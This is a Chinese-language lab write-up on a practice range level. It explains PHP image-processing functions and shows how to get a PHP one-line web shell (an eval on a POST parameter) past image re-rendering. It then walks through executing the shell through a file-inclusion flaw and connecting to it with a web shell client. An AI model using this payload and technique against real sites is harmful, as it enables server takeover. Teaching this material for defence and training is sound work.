用户在使用本文信息时,应自行承担风险。本文不对用户因使用本文信息而导致的任何直接或间接损失承担责任。

知识补给库
学习内容:二次渲染绕过

PHP函数
basename()函数
basename() 函数用于获取路径中的文件名部分。
函数原型:string basename(string $path, string $suffix = "")

• 参数
• $path:必需参数,表示文件路径。
• $suffix:可选参数,如果文件名以指定的后缀结尾,该后缀会被移除。
• 返回值:返回路径中的文件名部分,不包括路径的目录部分。
$path = "/var/www/html/index.php";
echo basename($path); // 输出:index.php

echo "\n";

$path = "/var/www/html/index.php";
echo basename($path, ".php"); // 输出:index

imagecreatefromjpeg()函数
imagecreatefromjpeg() 函数用于从 JPEG 图像文件或 URL 创建一个新的图像资源

• 简单讲:将一张图片进行复制,但是会修改其中的一些字节。但是图像的显示内容不发生变化
• 根据图片创建图片就是二次渲染
函数原型:resource imagecreatefromjpeg(string $filename): resource|false
• 参数:$filename:必需参数,表示 JPEG 图像文件的路径或 URL。
• 返回值
• 成功时返回一个图像资源(resource),可以用于进一步的图像处理。
• 如果失败(例如文件不存在或不是有效的 JPEG 图像),返回 false
// 加载本地 JPEG 图像文件
$image = imagecreatefromjpeg("C:\Users\Armey\Desktop\muma.jpg");

if ($image !== false) {
// 输出图像到浏览器
header("Content-Type: image/jpeg");
imagejpeg($image); // 将图像输出为 JPEG 格式
imagedestroy($image); // 释放图像资源
} else {
echo "无法加载图像";
}

unlink()函数
unlink() 函数用于删除指定的文件。
函数原型:bool unlink(string $filename, resource $context = null): bool

• 参数
• $filename:必需参数,表示要删除的文件路径
• $context:可选参数,用于指定文件上下文(通常用于流操作,如通过 HTTP 删除远程文件)
• 返回值:如果文件删除成功,返回 true;如果失败,返回 false
$file = "C:\Users\Armey\Desktop\a.txt";

if (unlink($file)) {
echo "文件删除成功!";
} else {
echo "文件删除失败!";
}

strval()函数
strval() 函数用于将一个变量转换为字符串类型。
函数原型:string strval(mixed $value): string

• 参数$value:必需参数,表示要转换为字符串的变量。可以是任何类型(如整数、浮点数、布尔值、数组、对象等)
• 返回值:返回一个字符串
$number = 1233456;
echo gettype(strval($number));

imagejpeg()函数
imagejpeg() 函数用于将图像资源以 JPEG 格式输出到浏览器或保存为文件

• 简单讲:将图片转为JPEG形式进行保存或显示
函数原型:bool imagejpeg(resource $image, string $filename = null, int $quality = null): bool
• 参数
• $image:必需。图像资源,通常由 imagecreate()、imagecreatefromjpeg() 或其他图像创建函数返回
• $filename:可选。指定输出文件的路径。如果省略或为 null,图像将直接输出到浏览器
• $quality:可选。指定 JPEG 图像的质量,取值范围为 0(最差质量,文件最小)到 100(最佳质量,文件最大)。默认值为 75
• 返回值:成功时返回 true,失败时返回 false
$image = imagecreatefromjpeg('C:\Users\Armey\Desktop\muma.jpg'); // 加载图像
imagejpeg($image, 'output.jpg', 80); // 保存为文件,质量80
imagedestroy($image); // 释放图像资源

代码审计
打开第17关的源代码,如下图所示


• $filename是上传文件的文件名
• $filetype是上传文件的文件类型
• $tmpname是上传文件的临时存储目录
• $target_path=UPLOAD_PATH.'/'.basename($filename);
• basename()是获取上传文件的文件名+后缀名
• $target_path是上传文件的存储路径
• $fileext是上传文件的后缀名
继续向下看源码,如下图所示


后面代码是三个相同的if判断,用于判断不同的图片格式。原理相同,这里只分析第一个if的内容

• if(($fileext == "jpg") && ($filetype=="image/jpeg"))
• 判断上传的图片文件是否为jpg格式,是则执行if中的内容
• if(move_uploaded_file($tmpname,$target_path))
• 将临时存储的图片移动到最终的存储路径下,移动成功则继续向下执行
• $im = imagecreatefromjpeg($target_path);
• 利用已经上传的图片创建新的图片
• 这就是所谓的二次渲染
• 接下来是if判断,是否为jpg文件
• $newfilename = strval(rand()).".jpg";是为新创建的图片生成一个随机数作为图片名称
• srand(time());是时间种子,效果是使产生的随机数更随机
• $img_path = UPLOAD_PATH.'/'.$newfilename;
• 设置二次渲染后的图片存储路径
• imagejpeg($im,$img_path);
• 将二次渲染的图片$im转为jpg格式并存储到$img_path定义的存储位置
• @unlink($target_path);
• 删除用户上传的图片文件
• @ 是错误抑制符,用于抑制函数执行时可能产生的警告(warning)或错误(error)。如果你在函数前加上 @,PHP 会忽略该函数执行时产生的任何警告或错误。
二次渲染
二次渲染简单讲就是:根据图片创建一张相同的图片,但是先创建的图片中的某些字节与原来图片中的某些字节不相同。

问题来了: 创建图片马进行上传,上传后图片马文件被二次渲染,这有可能导致图片马中的一句话木马被渲染掉。

接下来需要解决的是:图片马如何在二次渲染之后依旧可以生效

解决方案一
原理:图片被二次渲染后,不会再被渲染。
操作:先上传一张图片,图片被二次渲染后显示在网页中,将网页中显示的图片下载下来,写入一句话木马后再次上传。

实验
打开靶场第17关,上传一张普通图片

• 建议使用gif图片,其他类型图片修改需要使用代码

点击上传按钮后,经过二次渲染的图片被显示在网页中,将其保存下来


使用010 editor打开下载的图片,将一句话木马<?php @eval($_POST['x']); ?>插入到图片的DATA段中。

• 在右侧光标定位处Ctrl + v即可将一句话木马文件插入到图片中
• 插入后只要不损坏图片(也就是能正常显示)即可,否则可能上传时会显示上传失败。

保存完成后再次上传即可。后面的步骤在下面的靶场实战环节进行演示。

解决方案二
原理:二次渲染只更改图片中的部分字节,并不是修改全部字节。
操作:查找二次渲染不会更改的字节,在不会被更改的部分插入一句话木马

实验
上传一张普通图片(依旧建议使用gif格式的图片),将渲染后的图片保存下来。


使用010 Editor的对比功能,查找原图片与下载的渲染图片的相同之处。


打开原图片与渲染后的图片


单击Match即可看到两张图片的相同部分


在原图片的相同部分(也就是不会被渲染的部分)插入一句话木马,然后保存即可。


后面上传的部分在靶场实战环境演示。

靶场实战
打开靶场第17关,上传文件(这里使用的是上面的第二种方式制作的图片马)


查看图片木马所在位置


在URL中复制图片马的存储位置


在文件包含漏洞页面读取图片马


图片马包含成功


使用蚁剑连接图片马

小结
• 二次渲染简单讲就是利用图片生成图片,生成的新图片与原图片相比:有些字节发生了变化,有些字节保持不变
• 利用二次渲染的特性制作图片马
• 渲染后的图片不会再被渲染,可以插入一句话木马
• 图片中的某些字节在渲染后不会发生变化,不发生变化的部分可以插入一句话木马